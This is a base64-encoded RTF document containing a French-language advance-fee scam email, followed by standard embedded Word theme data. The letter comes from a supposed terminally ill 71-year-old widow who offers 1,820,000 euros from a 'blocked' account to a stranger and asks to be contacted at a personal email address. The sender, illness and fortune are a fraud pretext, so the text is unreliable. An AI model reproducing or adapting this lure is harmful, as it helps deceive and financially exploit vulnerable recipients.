MSBcYWJcYWYxIFxsdHJjaFxmY3MwIFxiXGYxXGluc3JzaWQ5NTE4NTA2IERvbmF0aW9uIGltcG9y dGFudCBkZSBmYVwnZTdvbiBncmFjaWV1c2UgYWlkZXIgbGVzIGRcJ2U5bXVuaXMgZGVzIHBlcnNv bm5lcyBkYW5zIGxlIGJlc29pbiBqJ2FpIGF1c3NpIGJlc29pbiBkZSB2b3RyZSBhdHRlbnRpb259 e1xydGxjaFxmY3MxIFxhZjEgXGx0cmNoXGZjczAgXGYxXGluc3JzaWQ1MjA2NjYyIA0KXHBhciB9 XHBhcmQgXGx0cnBhclxxbCBcbGkwXHJpMFxub3dpZGN0bHBhclx3cmFwZGVmYXVsdFxmYWF1dG9c cmluMFxsaW4wXGl0YXAwIHtccnRsY2hcZmNzMSBcYWYxIFxsdHJjaFxmY3MwIFxmMVxpbnNyc2lk NTIwNjY2MiBcfg0KXHBhciBcfg0KXHBhciBcfg0KXHBhciBcfg0KXHBhciBcfg0KXHBhciBcfg0K XHBhciB9XHBhcmQgXGx0cnBhclxxbCBcbGkwXHJpMFxzYjEwMFxzYTEwMFxzYmF1dG8xXHNhYXV0 bzFcd2lkY3RscGFyXHdyYXBkZWZhdWx0XGFzcGFscGhhXGFzcG51bVxmYWF1dG9cYWRqdXN0cmln aHRccmluMFxsaW4wXGl0YXAwXHBhcmFyc2lkOTUxODUwNiB7XHJ0bGNoXGZjczEgXGFmMFxhZnMy NyBcbHRyY2hcZmNzMCBcZnMyN1xjZjFcaW5zcnNpZDk1MTg1MDZcY2hhcnJzaWQxOTgyOTIyIEJv bmpvdXIgQmllbiBhaW1cJ2U5ZSBlbiBDaHJpc3Q/ICANCg0KXHBhciBKZSB2b3VzIHByaWUgZGUg YmllbiB2b3Vsb2lyIG0nZXhjdXNlciBwb3VyIGNldHRlIGludHJ1c2lvbiwgamUgbWUgbm9tbWUg TX17XHJ0bGNoXGZjczEgXGFmMFxhZnMyNyBcbHRyY2hcZmNzMCBcZnMyN1xjZjFcaW5zcnNpZDQ2 Nzg2MjYgYWRhbWUgTGF1cmlsZXV4IERhbmllbGxlfXtccnRsY2hcZmNzMSBcYWYwXGFmczI3IFxs dHJjaFxmY3MwIFxmczI3XGNmMVxpbnNyc2lkOTUxODUwNlxjaGFycnNpZDE5ODI5MjIgLCBcJ2Uy Z1wnZTllIGRlIH0NCntccnRsY2hcZmNzMSBcYWYwXGFmczI3IFxsdHJjaFxmY3MwIFxmczI3XGNm MVxpbnNyc2lkOTUxODUwNiA3MX17XHJ0bGNoXGZjczEgXGFmMFxhZnMyNyBcbHRyY2hcZmNzMCBc ZnMyN1xjZjFcaW5zcnNpZDk1MTg1MDZcY2hhcnJzaWQxOTgyOTIyICBhbnMgb3JpZ2luYWlyZSBk ZSBGcmFuY2UuIEonYWkgZFwnZmIgdm91cyBjb250YWN0ZXIgZGUgY2V0dGUgc29ydGUgcGFyY2Ug cXVlIGplIHNvdWhhaXRlIGZhaXJlIHVuZSBjaG9zZSB0clwnZTgNCnMgaW1wb3J0YW50ZS4gQ2Vs YSB2b3VzIHNlbWJsZXJhIHVuIHBldSBiaXphcnJlIGJpZW4gdnJhaSBxdWUgdm91cyBuZSBtZSBj b25uYWlzc2V6IHBhcyBldCBxdWUuICBKZSBuZSB2b3VzIGNvbm5haXNzZSBwYXMuIEplIHNvdWZm cmUgZCd1biBjYW5jZXIgcXVpIGVzdCBlbiBwaGFzZSB0ZXJtaW5hbGUsIG1vbiBtXCdlOWRlY2lu IHRyYWl0YW50IHZpZW50IGRlIG0naW5mb3JtZXIgcXVlIG1lcyBqb3VycyBzb250IGNvbXB0XCdl OQ0KcyBkdSBmYWl0IGRlIG1vbiBcJ2U5dGF0IGRlIHNhbnRcJ2U5IGRcJ2U5Z3JhZFwnZTkuIFNl bG9uIGNlIHF1ZSBsZSBEb2N0ZXVyIG0nYSBqdXN0aWZpXCdlOSBqZSBzb3VmZnJlIGR1IGNhbmNl ciBPUkwuIFNlbG9uIHRvdWpvdXJzIHNlcyBkaXJlcywgdW5lIEJvdWxlIHMnaW5zdGFsbGUgcHJc J2U5c2VudGVtZW50IGRhbnMgbWEgR29yZ2UuIEplIHN1aXMgdmV1ZiBqZSBuJ2FpIHBhcyBkJ2Vu ZmFudCBwYXJjZSBxdVxycXVvdGUgDQphdmVjIG1vbiBub3VzIG4nZW4gYXZvbnMgamFtYWlzIHB1 IGF2b2lyIGVuIGRcJ2U5cGl0IGRlIHRvdXQgY2UgcXUnb24gcG9zc1wnZThkZSBjb21tZSBtb3ll biBmaW5hbmNpZXIuICANClxwYXIgTm91cyBuJ2F2b25zIGphbWFpcyBwZW5zXCdlOSBcJ2UwIGFk b3B0ZXIgdW4gZW5mYW50IHB1aXNxdSdvbiBxdSdvbiBzZSBkaXNhaXQgdG91am91cnMgcXVlIERp ZXUgbm91cyBmZXJhIGNldHRlIGdyXCdlMmNlIGF1IG1vbWVudCBvcHBvcnR1bjsgY2UgcXVlIGpl IHJlZ3JldHRlIGFtXCdlOA0KcmVtZW50LiBKJ2VudmlzYWdlIGRlIGZhaXJlIHVuZSBkb25hdGlv biBkZSB0b3VzIG1lcyBiaWVucy4gSidhaSBwcmVzcXVlIHZlbmR1IG1lcyBhZmZhaXJlcyBkb250 IHVuZSBjb21wYWduaWUgZCdleHBvcnRhdGlvbiBkZSBib2lzIGV0IGRlIGNhZlwnZTkgY2FjYW8g fXtccnRsY2hcZmNzMSBcYWYwXGFmczI3IFxsdHJjaFxmY3MwIFxmczI3XGNmMVxpbnNyc2lkNDY3 ODYyNiBlbiBBZnJpcXVlIG91IGplIHZpdmFpcyBhdmVjIG1vbiBIb21tZSB9DQp7XHJ0bGNoXGZj czEgXGFmMFxhZnMyNyBcbHRyY2hcZmNzMCBcZnMyN1xjZjFcaW5zcnNpZDk1MTg1MDZcY2hhcnJz aWQxOTgyOTIyIGRlcHVpcyBwclwnZThzIGRlIDIwIGFucywgdW5lIHBhcnRpZSBkZSB0b3V0IGNl dCBhcmdlbnQgc2VyYSB2ZXJzXCdlOSBcJ2UwIGRpZmZcJ2U5DQpyZW50ZXMgYXNzb2NpYXRpb25z IGV0IGRlcyBjZW50cmVzIGQnYWlkZSBhdXggb3JwaGVsaW5zIGV0IGF1eCBzYW5zIGFicmkuIEon YWkgZW4gY2UgbW9tZW50IGRhbnMgbW9uIGNvbXB0ZSBwZXJzb25uZWwgKGNvbXB0ZSBibG9xdVwn ZTkpLCBsYSBzb21tZSBkZSB9e1xydGxjaFxmY3MxIFxhZjBcYWZzMjcgXGx0cmNoXGZjczAgXGJc ZnMyN1xjZjFcaW5zcnNpZDQ2Nzg2MjYgMS44Mn17XHJ0bGNoXGZjczEgXGFmMFxhZnMyNyBcbHRy Y2hcZmNzMCANClxiXGZzMjdcY2YxXGluc3JzaWQ5NTE4NTA2IDAuMDAwXCc4MH17XHJ0bGNoXGZj czEgXGFmMFxhZnMyNyBcbHRyY2hcZmNzMCBcZnMyN1xjZjFcaW5zcnNpZDk1MTg1MDZcY2hhcnJz aWQxOTgyOTIyICAofXtccnRsY2hcZmNzMSBcYWYwXGFmczI3IFxsdHJjaFxmY3MwIFxmczI3XGNm MVxpbnNyc2lkNDY3ODYyNiBVbiBNaWxsaW9uIH17XHJ0bGNoXGZjczEgXGFmMFxhZnMyNyBcbHRy Y2hcZmNzMCBcZnMyN1xjZjFcaW5zcnNpZDk1MTg1MDYgSHVpdA0KfXtccnRsY2hcZmNzMSBcYWYw XGFmczI3IFxsdHJjaFxmY3MwIFxmczI3XGNmMVxpbnNyc2lkOTUxODUwNlxjaGFycnNpZDE5ODI5 MjIgIENlbnQgfXtccnRsY2hcZmNzMSBcYWYwXGFmczI3IFxsdHJjaFxmY3MwIFxmczI3XGNmMVxp bnNyc2lkNDY3ODYyNiBWaW5ndH17XHJ0bGNoXGZjczEgXGFmMFxhZnMyNyBcbHRyY2hcZmNzMCBc ZnMyN1xjZjFcaW5zcnNpZDk1MTg1MDZcY2hhcnJzaWQxOTgyOTIyICBNaWxsZXMgRXVyb3MpLiB9 ew0KXHJ0bGNoXGZjczEgXGFmMFxhZnMyNyBcbHRyY2hcZmNzMCBcZnMyN1xjZjFcc3ViXGluc3Jz aWQ5NTE4NTA2XGNoYXJyc2lkMTk4MjkyMiAgfXtccnRsY2hcZmNzMSBcYWYwXGFmczI3IFxsdHJj aFxmY3MwIFxmczI3XGNmMVxpbnNyc2lkOTUxODUwNlxjaGFycnNpZDE5ODI5MjIgDQpccGFyIFF1 ZSBqJ2F2YWlzIGdhcmRcJ2U5IHBvdXIgdW4gcHJvamV0LiBKZSBzb3VoYWl0ZXJhaXMgdm91cyBk b25uZXIgY2V0IGFyZ2VudCBxdWkgcG91cnJhIHZvdXMgYWlkZXIgZGFucyB2b3RyZSBwcm9qZXQs IFwnZTAgXCc5Y3V2cmVyIHBvdXIgdW5lIGJvbm5lIGNhdXNlLCBTaSB2b3VzIFwnZWF0ZXMgdW5l IHBlcnNvbm5lIHNpbmNcJ2U4DQpyZSwgdmV1aWxsZXogbWUgY29udGFjdGVyIGxlIHBsdXMgcmFw aWRlbWVudCBwb3VyIHF1ZSBub3VzIHB1aXNzaW9ucyBlbiBkaXNjdXRlci4gSidhdXJhaSBhaW1c J2U5IHZvdXMgcGFybGVyIGRlIHZpdmUgdm9peCBtYWlzIGNlIG4nZXN0IHBhcyBwb3NzaWJsZSBw b3VyIG1vaSBkZSBsZSBmYWlyZSBcJ2UwIGNhdXNlIGRlIG1hIGdvcmdlLiBBbG9ycywgaWwgc2Vy YS4gfXtccnRsY2hcZmNzMSBcYWYwXGFmczI3IFxsdHJjaFxmY3MwIA0KXGZzMjdcY2YxXHN1Ylxp bnNyc2lkOTUxODUwNlxjaGFycnNpZDE5ODI5MjIgIH17XHJ0bGNoXGZjczEgXGFmMFxhZnMyNyBc bHRyY2hcZmNzMCBcZnMyN1xjZjFcaW5zcnNpZDk1MTg1MDZcY2hhcnJzaWQxOTgyOTIyIA0KXHBh ciBQclwnZTlmXCdlOXJhYmxlIHF1ZSB2b3VzIG0nXCdlOWNyaXZpZXogRS1tYWlsIHNlY29uZGFp cmUgc3VpdmFudDogfXtccnRsY2hcZmNzMSBcYWYwXGFmczI3IFxsdHJjaFxmY3MwIFxmczI3XGNm MVxzdWJcaW5zcnNpZDk1MTg1MDZcY2hhcnJzaWQxOTgyOTIyICB9e1xydGxjaFxmY3MxIFxhZjBc YWZzMjcgXGx0cmNoXGZjczAgXGZzMjdcY2YxXGluc3JzaWQ5NTE4NTA2XGNoYXJyc2lkMTk4Mjky MiANClxwYXIgIA0KXHBhciB9e1xydGxjaFxmY3MxIFxhZjBcYWZzMjcgXGx0cmNoXGZjczAgXGZz MjdcY2YxXGluc3JzaWQ0Njc4NjI2IGRhbmllbGxlLmxhdXJpbGV1eEBob3RtYWlsLmNvbX17XHJ0 bGNoXGZjczEgXGFmMFxhZnMyNyBcbHRyY2hcZmNzMCBcZnMyN1xjZjFcaW5zcnNpZDUyMDY2NjJc Y2hhcnJzaWQ5NTE4NTA2IA0KXHBhciB9e1wqXHRoZW1lZGF0YSA1MDRiMDMwNDE0MDAwNjAwMDgw MDAwMDAyMTAwODI4YWJjMTNmYTAwMDAwMDFjMDIwMDAwMTMwMDAwMDA1YjQzNmY2ZTc0NjU2ZTc0 NWY1NDc5NzA2NTczNWQyZTc4NmQ2Y2FjOTFjYjZhYzMzMDEwNDVmNzg1ZmU4M2QwYjZkOA0KNzJi YTI4YTVkOGNlYTI0OTc3N2QyY2QyMGYxOGU0YjEyZDZhOGY4NDM0MDljOWRmNzdlY2I4NTBiYTA4 MmQ3NDIzMTA2MmNlOTk3YjU1YWU4ZmUzYTAwZTE4OTNmMzU0ZTk1NTVlNjg4NTY0N2RlM2E4YWJm NGZiZWUyOWJiZDcNCjJhMzE1MDAzODMyN2FjZjQwOTkzNWVkN2Q3NTdlNWVlMTQzMDI5OTlhNjU0 ZTk5ZTM5M2MxODkzNmM4ZjIzYTRkYzA3MjQ3OTY5N2QxYzgxZTUxYTNiMTNjMDdlNDA4N2U2YjYy OGVlOGNmNWM0NDg5Y2YxYzRkMDc1ZjkyYTBiDQo0NGQ3YTA3YTgzYzgyZjMwOGFjN2IwYTBmMGZi ZjkwYzI0ODA5ODBiNThhYmM3MzM2MTVhYTJkMjEwYzJlMDJjYjA0NDMwMDc2YTdlZTgzM2RmYjZj ZTYyZTNlZDdlMTQ2OTNlODMxN2Q4Y2QwNDMzYmY1YzYwZjUzZmVhMmZlNw0KMDY1YmQ4MGZhY2I2 NDdlOWUyNWM3ZmM0MjFmZDJkZGI1MjZiMmU5MzczZmVkNGJiOTAyZTE4MmU5N2I3YjQ2MWU2YmZh ZDNmMDEwMDAwZmZmZjAzMDA1MDRiMDMwNDE0MDAwNjAwMDgwMDAwMDAyMTAwYTVkNmE3ZTdjMDAw MDANCjAwMzYwMTAwMDAwYjAwMDAwMDVmNzI2NTZjNzMyZjJlNzI2NTZjNzM4NDhmY2Y2YWMzMzAw Yzg3ZWY4NWJkODNkMTdkNTFkMmMzMTgyNTc2MmZhNTkwNDMyZmEzN2QwMGUxMjg3ZjY4MjIxYmRi MWJlYmRiNGZjNzA2MGFiYjA4DQo4NGE0ZWZmN2E5M2RmZWFlOGJmOWUxOTRlNzIwMTY5YWFhMDZj M2UyNDMzZmNiNjhlMTc2M2RiZjdmODJjOTg1YTRhNzI1MDg1Yjc4NzA4NmEzN2JkYmI1NWZiYzUw ZDFhMzNjY2QzMTFiYTU0OGI2MzA5NTEyMGY4OGQ5NGZiYw0KNTJhZTQyNjRkMWM5MTBkMjRhNDVk YjM0NjIyNDdmYTc5MTcxNWZkNzFmOTg5ZTE5ZTAzNjRjZDNmNTE2NTJkNzM3NjBhZThmYThjOWZm YjNjMzMwY2M5ZTRmYzE3ZmFmMmNlNTQ1MDQ2ZTM3OTQ0YzY5ZTQ2MmExYTgyZmUzNTMNCmJkOTBh ODY1YWFkNDFlZDBiNWI4ZjlkNmZkMDEwMDAwZmZmZjAzMDA1MDRiMDMwNDE0MDAwNjAwMDgwMDAw MDAyMTAwNmI3OTk2MTY4MzAwMDAwMDhhMDAwMDAwMWMwMDAwMDA3NDY4NjU2ZDY1MmY3NDY4NjU2 ZDY1MmY3NDY4DQo2NTZkNjU0ZDYxNmU2MTY3NjU3MjJlNzg2ZDZjMGNjYzRkMGFjMzIwMTA0MGUx N2RhMTc3OTBkOTM3NjNiYjI4NDU2MmIyY2JhZWJiZjYwMDQzOWMxYTQxYzdhMGQyOWZkYmQ3ZTVl MzgzMzdjZWRmMTRkNTliNGIwZDU5MmM5Yw0KMDcwZDhhNjVjZDJlODhiN2YwN2MyY2E3MWJhOGRh NDgxY2M1MmM2Y2UxYzcxNWU2ZTk3ODE4YzliNDhkMTNkZjQ5Yzg3MzUxN2QyM2Q1OTA4NWFkYjVk ZDIwZDZiNTJiZDUyMWVmMmNkZDVlYjkyNDZhM2Q4YjQ3NTdlOGQzZjcNCjI5ZTI0NWViMmIyNjBh MDIzOGZkMDEwMDAwZmZmZjAzMDA1MDRiMDMwNDE0MDAwNjAwMDgwMDAwMDAyMTAwYWU2ZjkyMDI5 YjA2MDAwMDUxMWIwMDAwMTYwMDAwMDA3NDY4NjU2ZDY1MmY3NDY4NjU2ZDY1MmY3NDY4NjU2ZDY1 DQozMTJlNzg2ZDZjZWM1OTRmNmYxYjQ1MTRiZjIzZjExZDQ2N2I2ZjYzMjc3NjFhNDc3NWFhZDhi MTFiNjhkMzQ2YjE1YmQ0ZTM3ODc3YmMzYmNkZWNjZTZhNjY5Y2Q0MzdkNDFlOTE5MDEwMDU3MWEw MTIzNzkwMTA1MGE5OTViOA0KOTQxMzFmMjU1MDA0NDVlYTU3ZTBjZGNjZWU3YTI3NWU5M2E0OGRh MDgyZmE5MGVjY2VmY2U2ZmQ3ZjZmZGVjYzVlYmU3MjJmNjZlODgwMDg0OTc5ZDJmNmVhMTc2YjFl MjI4OWNmMDM5YTg0NmRlZmQ2YjA3ZjYxY2Q0MzUyZTENCjI0YzA4YzI3YTRlZDRkODlmNGFlNmNi Y2ZiY2U2NWJjYWUyMjEyMTMwNGViMTNiOThlZGI1ZWE0NTRiYWJlYjQyNDdkMThjNmYyMjI0ZjQ5 MDI3MzYzMmU2MmFjZTA1NTg0NGI4MWMwODc0MDM3NjY0YmNiYjVkYWVhNTI4YzY5DQplMmExMDRj NzQwNzYxOGZkZmMwZDEwYmIzOTFlNTM5Zjc4MWIzOWY1MWUwMzE2ODk5MjdhYzA2NzYyYTA2OTkz NmM0OTA5MWJlY2Q3MzU0MjRlNjU5NzA5NzQ4MDU5ZGIwMzQ2MDEzZjFjOTI3YmNhNDMwYzRiMDUx MzZkYWY2Ng0KN2VkZWQyYzZlNTI1YmM5ZTJkNjI2YWMxZGFkMmJhYmVmOTY1ZWJiMjA1YzFmZWIy ZTEyOWMyNTFjMWI0ZGU2ZmI0MmU2ZDE1ZjQwZDgwYTk3OTVjYWZkN2ViZjZlYTA1M2QwM2MwYmUw ZjlhNWE1OWNhMzQxYmZkYjU3YTI3YTcNCjU5MDJkOWM3NzlkYWRkNWFiM2Q2NzBmMTI1ZmEyYjcz MzJiNzNhOWQ0ZWIzOTVjOTYyODkxYTkwN2Q2Y2NjZTFkNzZhYWI4ZGNkNjUwNzZmNDAxNmRmOWNj MzM3M2E5YmRkZWVhYTgzMzcyMDhiNWY5ZGMzZjcyZmI1NTYxYjJlDQpkZTgwMjI0NjkzZmQzOWI0 NzY2OGJmOWY1MTJmMjA2M2NlYjYyYmUxNmIwMDVmYWI2NWYwMTkwYWEyYTE4ODJlY2Q2MmNjMTNi NTI4ZDY2MjdjOTc4YjNlMDAzNDkwNjE0NTEzYTRhNjI5MTk2MzFmYzJiODhiZTM5MWEwNTgzMw0K YzBlYjA0OTc2NmVjOTAyZmU3ODYzNDJmMjQ3ZDQxNTNkNWY2ZGU0ZjMxYTRjNDhjZGVjYjY3ZGZi ZDdjZjYwNDFkZGQ3ZjdhNzRmZmM3YTMwNzBmOGVlZWZmNjAwOTM5YWJiNjcxMTI5NjU3YmRmOGZh OTMzZjFmN2Q4OGZlNzgNCmYyZDU4Yjg3OWY1NWUzNjUxOWZmZWJmNzFmZmRmMmQzYTdkNTQwNDg5 Zjk5MzhjZjNmN2ZmY2RiZDNjN2NmYmZmOGY4Zjc2ZjFmNTZjMDM3MDUxZTk1ZTE0MzFhMTM4OTZl OTA0M2I0Yzc2MzUwY2M1OGM1OTU5YzhjYzRkOTU2DQowYzIzNGNjYjJiMzY5MzUwZTIwNDZiMmUx NWY0N2IyYTcyZDAzN2E2OTg2NWRlNzFlNGU4MTBkNzgyYjcwNTk0OGYyYWUwZDVjOTVkNDdlMDQx MjQyNjhhNTY3MGJlMTZjNTBlNzA4NzczZDZlMWEyZDIwYWQ3MzRhZjkyOTk4Nw0KOTMyNGFjNjYy ZTI2NjVkYzFlYzYwNzU1YmNiYjM4NzFmY2RiOWJhNDUwMzdmM2IwNzQxNGVmNDZjNDExNzM5N2Ux NDRlMTkwMjQ0NDIxM2RjN2Y3MDlhOWQwZWUwZWE1OGU1ZDc3YTgyZmI4ZTQ2Mzg1ZWU1MGQ0YzFi NGQyMjQNCjQzM2E3MmEyNjliNjY4OWJjNmUwOTc2OTk1Y2VlMDZmYzczNjNiYjc1MTg3YjMyYWFk YjdjODgxOGI4NGFjYzBhYzQyZjgyMTYxOGUxOWFmZTI4OWMyNzExNWM5MjE4ZTU5ZDllMGQ3YjE4 YWFhODQxYzRjODU1ZmM2ZjVhNDAyDQo0Zjg3ODQ3MWQ0MGI4ODk0NTU2YjZlMGFkMGI3ZTRmNDZi MTgyYTU2YTVkYjc3ZDgzNDc2OTE0MmQxZmQyYTlhZDczMWU3NjVlNDE2ZGZlZjQ2Mzg0ZWFiYjAw MzlhNDQ2NWVjN2I3MjFmNDIxNGEzNWRhZWFhZTAzYmRjY2QxMA0KZmQwZTdlYzBjOTQyNzdkZmE2 YzQ3MWY3YzlkNWUwMTYwZDFkOTE2NjAxYTI2NzI2NDJmYjEyNGFiNTUzODE2MzlhZmM1ZDM5NjYx NGVhYjE4ZDgxZjMyYmM3NTAwMDlmN2ZmOWE4MjJiMmRlZDQ0MmJjMDk3YjUyNTUyNjZjMWYNCjJi YmY4YjcwYzc4YjZlOTc4YjgwYmVmOTM1NzcwYjRmOTI1ZDAyNjEzZWJmZjFiYzJkYjk2ZjRiYWVm NzlmMmZiOThiZjJmOWI0ODU3NjU2NWJhMWVjZWFiZWMxMzZjNWE2NDU4ZTE3NzZjODYzY2FkODQw NGQxOWI5MmU0ZDkzDQoyYzYxOWYwOGZhMzBhOGQ3OTllMzIxMjk0ZTRjNjkwNDhmNTk1ZDc3NzBh MWMwNjYwZDEyNWM3ZDQwNTUzNDg4NzAwYTBkNzZkZGQzNDQ0Mjk5OTEwZTI1NGFiOTg0ODM5ZDE5 YWVhNGFkZjFkMGE0MmI3YjJjNmNlYTAzODNhZA0KMDcxMmFiMWQxZWQ4ZTExNTNkOWM5ZjBiMGEz MjY2YjcwOWNkZTEzMzY3YjRhMjA5OWM5NmQ5Y2FhNThjMjhhOGZkMmFjY2VhNWFhODUzNzNhYjFi ZDE0Y2E5NzNiODE1MmE4MzBmZTc1NTgzYzFjMjlhZDA4MDIwNjg1YmMwY2ENCmFiNzA0MGQ3YWNl MTYwODIxOTA5YjRkZGVkZGU5YmJiYzU3OGUxM2M1ZDI0MjMxYzkwY2M0NzVhZWY3OTFmZDU4ZDkz ZjI1ODMxMzcwMTEwM2IxNTNlZDI4N2JjMTNhYzU2ZTJkNmQyNjQ1ZjgzZGI2OTljNTQ2NmQ3NThj MDJlDQpmN2RlZWI3ODI5OGZlMDk5OTc3NGRlMWU0YjQ3OTY5NDkzOTMyNWU4YjBlZGI1OWFjYjRk MGZmOTM4NmQ3YjYzMzhkM2MyNjM5YzgyZDdhNWVlZjkzMDBiZTE2NmM4NTdjMjg2ZmQ4OWM5NmNi MjdjZTZjZDU2YWU5ODliMDQ3NQ0KYjhhNmIwNzY5ZjUzZDhhOTAzYTk5MDZhMGJjYmM4ODY4Njk5 Y2E0MjgwMjU5YTkzOTU3ZmI5MDk2NjNkMmYwNTZjYTRiZjgyMTQyYjZiMTAwY2ZmOWExNDYwNDdk N2I1NjQzYzI2YmUyYTNiYmIzNGEyNmQ2NzVmYjM1MmNhMjcNCjhhODg0MTE0MWNhMjExOWI4ODNk MGNlZWQ3YTEwYWZhMDQ1NGMyZDU4NGE5MDhmYTA1ZWVkMWI0YjVjZDk0NWI5Y2IzYTQyYmRmNWUx OTljMWRjNzJjOGQ3MDU2NmU3NThhZTY5OTZjZTEyNjhmMGIxOWNjNWI0OTNjZDBhZDUyDQo3NmEz ZGNkOTU1MzEyOTdmNGVhYTk0YzNmODdmYTY4YWRlNGZlMGE2NjAyNWQwMWVmMGUxMWU1NzYwYTRm M2I1ZWQ3MWExMjIwZTU1Mjg4ZGE4ZGYxN2QwMzg5OGRhMDFkMTAyNzdiMTMwMGQ0MTA1YjdjOWU2 YmYyMDA3ZmFiZg0KY2QzOTRiYzNhNDM1MWNmOGQ0MWUwZDkxYTBiMDFmYTk0ODEwYjIwYjY1Yzk0 NGRmMDljNGVhZDlkZTY1NDliMjhjOTA4OWE4OTJiODMyYjU2MjhmYzgwMTYxNDM1ZDAzNTdmNWRl ZWVhMTA4NDJkZDU0OTNhYzBjMThkY2YxZjgNCjczZGZiMzBjMWE4NWJhYzkyOWU3OWI1MzQzOGFi ZGQ3ZTZjMDNmZGRmOWQ4NjQwNmE1ZGMzYTZjMWE5YWRjZmU4NTg4MTViYmFhNWQ2Zjk2ZTc3YjZm NTkxMTNkMzE2YmIzMWE3OTU2MDBiM2QyNTZkMGNhZDJmZTE1NDUzOGUzDQo1NjZiMmJkNjljYzZj YmNkNWMzOGYwZTJiY2M2MzA1ODM0NDQyOWRjZjcyMGZkMDdmNjNmMmE3YzY2YmY0Y2U4MGQ3NWM4 ZjdhMGI2MjJmOGQwYTA4OTQxZDg0MDU0NWZiMDhkMDdkMjA1ZDIwZThlYTA3MWIyODMzNjk4MzQy OQ0KNmJkYWFjNzVkMjU2Y2IzN2ViNzNlZTc0MGJiZWM3OGNhZDI1M2I4ZGJmY2Y2OGVjYTIzOTcz ZDkzOWI5Nzg5ZWM2Y2UyY2VjZDhkYThlMmQzNDM1NzhmNjc4OGFjMmQwMzgzZmM4MThjNzk4NmY1 YWU1YWY0ZTdjNzQxNzFjYmQNCjA1ZjdmYjEzYTZhNDA5MjZmOGE2MjQzMGI0OWUwMzkzMDc5MGZj OTZhMzU5YmFmMTE3MDAwMDAwZmZmZjAzMDA1MDRiMDMwNDE0MDAwNjAwMDgwMDAwMDAyMTAwMGRk MTkwOWZiNjAwMDAwMDFiMDEwMDAwMjcwMDAwMDA3NDY4DQo2NTZkNjUyZjc0Njg2NTZkNjUyZjVm NzI2NTZjNzMyZjc0Njg2NTZkNjU0ZDYxNmU2MTY3NjU3MjJlNzg2ZDZjMmU3MjY1NmM3Mzg0OGY0 ZDBhYzIzMDE0ODRmNzgyNzcwODZmNmZkM2JhMTA5MTI2ZGQ4OGQwYWRkNDAzODRlNA0KMzUwZDM2 M2YyNDUxZWNlZDBkYWUyYzA4MmU4NzYxYmU5OTY5YmI5NzlkYzkxMzYzMzJkZTMxNjhhYTFhMDgz YWU5OTU3MTlhYzE2ZGI4ZWM4ZTQwNTIxNjRlODlkOTNiNjRiMDYwODI4ZTZmMzdlZDE1Njc5MTRi Mjg0ZDI2MjQNCjUyMjgyZTMxOTg3MjBlMjc0YTkzOWNkMDhhNTRmOTgwYWUzOGEzOGY1NmU0MjJh M2E2NDFjOGJiZDA0OGY3NzU3ZGEwZjE5YjAxN2NjNTI0YmQ2MjEwN2JkNTAwMTk5NjUwOWFmZmIz ZmQzODFhODk2NzJmMWYxNjVkZmU1MTQxDQo3M2Q5ODUwNTI4YTJjNmNjZTAyMzliYWE0YzA0Y2E1 YmJhYmFjNGRmMDAwMDAwZmZmZjAzMDA1MDRiMDEwMjJkMDAxNDAwMDYwMDA4MDAwMDAwMjEwMDgy OGFiYzEzZmEwMDAwMDAxYzAyMDAwMDEzMDAwMDAwMDAwMDAwMDAwMA0KMDAwMDAwMDAwMDAwMDAw MDAwNWI0MzZmNmU3NDY1NmU3NDVmNTQ3OTcwNjU3MzVkMmU3ODZkNmM1MDRiMDEwMjJkMDAxNDAw MDYwMDA4MDAwMDAwMjEwMGE1ZDZhN2U3YzAwMDAwMDAzNjAxMDAwMDBiMDAwMDAwMDAwMDAwMDAN CjAwMDAwMDAwMDAwMDJiMDEwMDAwNWY3MjY1NmM3MzJmMmU3MjY1NmM3MzUwNGIwMTAyMmQwMDE0 MDAwNjAwMDgwMDAwMDAyMTAwNmI3OTk2MTY4MzAwMDAwMDhhMDAwMDAwMWMwMDAwMDAwMDAwMDAw MDAwMDAwMDAwMDAwMDE0DQowMjAwMDA3NDY4NjU2ZDY1MmY3NDY4NjU2ZDY1MmY3NDY4NjU2ZDY1 NGQ2MTZlNjE2NzY1NzIyZTc4NmQ2YzUwNGIwMTAyMmQwMDE0MDAwNjAwMDgwMDAwMDAyMTAwYWU2 ZjkyMDI5YjA2MDAwMDUxMWIwMDAwMTYwMDAwMDAwMA0KMDAwMDAwMDAwMDAwMDAwMDAwZDEwMjAw MDA3NDY4NjU2ZDY1MmY3NDY4NjU2ZDY1MmY3NDY4NjU2ZDY1MzEyZTc4NmQ2YzUwNGIwMTAyMmQw MDE0MDAwNjAwMDgwMDAwMDAyMTAwMGRkMTkwOWZiNjAwMDAwMDFiMDEwMDAwMjcNCjAwMDAwMDAw MDAwMDAwMDAwMDAwMDAwMDAwYTAwOTAwMDA3NDY4NjU2ZDY1MmY3NDY4NjU2ZDY1MmY1ZjcyNjU2 YzczMmY3NDY4NjU2ZDY1NGQ2MTZlNjE2NzY1NzIyZTc4NmQ2YzJlNzI2NTZjNzM1MDRiMDUwNjAw MDAwMDAwMDUwMDA1MDA1ZDAxMDAwMDliMGEwMDAwMDAwMH0NCntcKlxjb2xvcnNjaGVtZW1hcHBp bmcgM2MzZjc4NmQ2YzIwNzY2NTcyNzM2OTZmNmUzZDIyMzEyZTMwMjIyMDY1NmU2MzZmNjQ2OTZl NjczZDIyNTU1NDQ2MmQzODIyMjA3Mzc0NjE2ZTY0NjE2YzZmNmU2NTNkMjI3OTY1NzMyMjNmM2Uw ZDBhM2M2MTNhNjM2YzcyNGQNCjYxNzAyMDc4NmQ2YzZlNzMzYTYxM2QyMjY4NzQ3NDcwM2EyZjJm NzM2MzY4NjU2ZDYxNzMyZTZmNzA2NTZlNzg2ZDZjNjY2ZjcyNmQ2MTc0NzMyZTZmNzI2NzJmNjQ3 MjYxNzc2OTZlNjc2ZDZjMmYzMjMwMzAzNjJmNmQ2MTY5DQo2ZTIyMjA2MjY3MzEzZDIyNmM3NDMx MjIyMDc0NzgzMTNkMjI2NDZiMzEyMjIwNjI2NzMyM2QyMjZjNzQzMjIyMjA3NDc4MzIzZDIyNjQ2 YjMyMjIyMDYxNjM2MzY1NmU3NDMxM2QyMjYxNjM2MzY1NmU3NDMxMjIyMDYxNjM2Mw0KNjU2ZTc0 MzIzZDIyNjE2MzYzNjU2ZTc0MzIyMjIwNjE2MzYzNjU2ZTc0MzMzZDIyNjE2MzYzNjU2ZTc0MzMy MjIwNjE2MzYzNjU2ZTc0MzQzZDIyNjE2MzYzNjU2ZTc0MzQyMjIwNjE2MzYzNjU2ZTc0MzUzZDIy 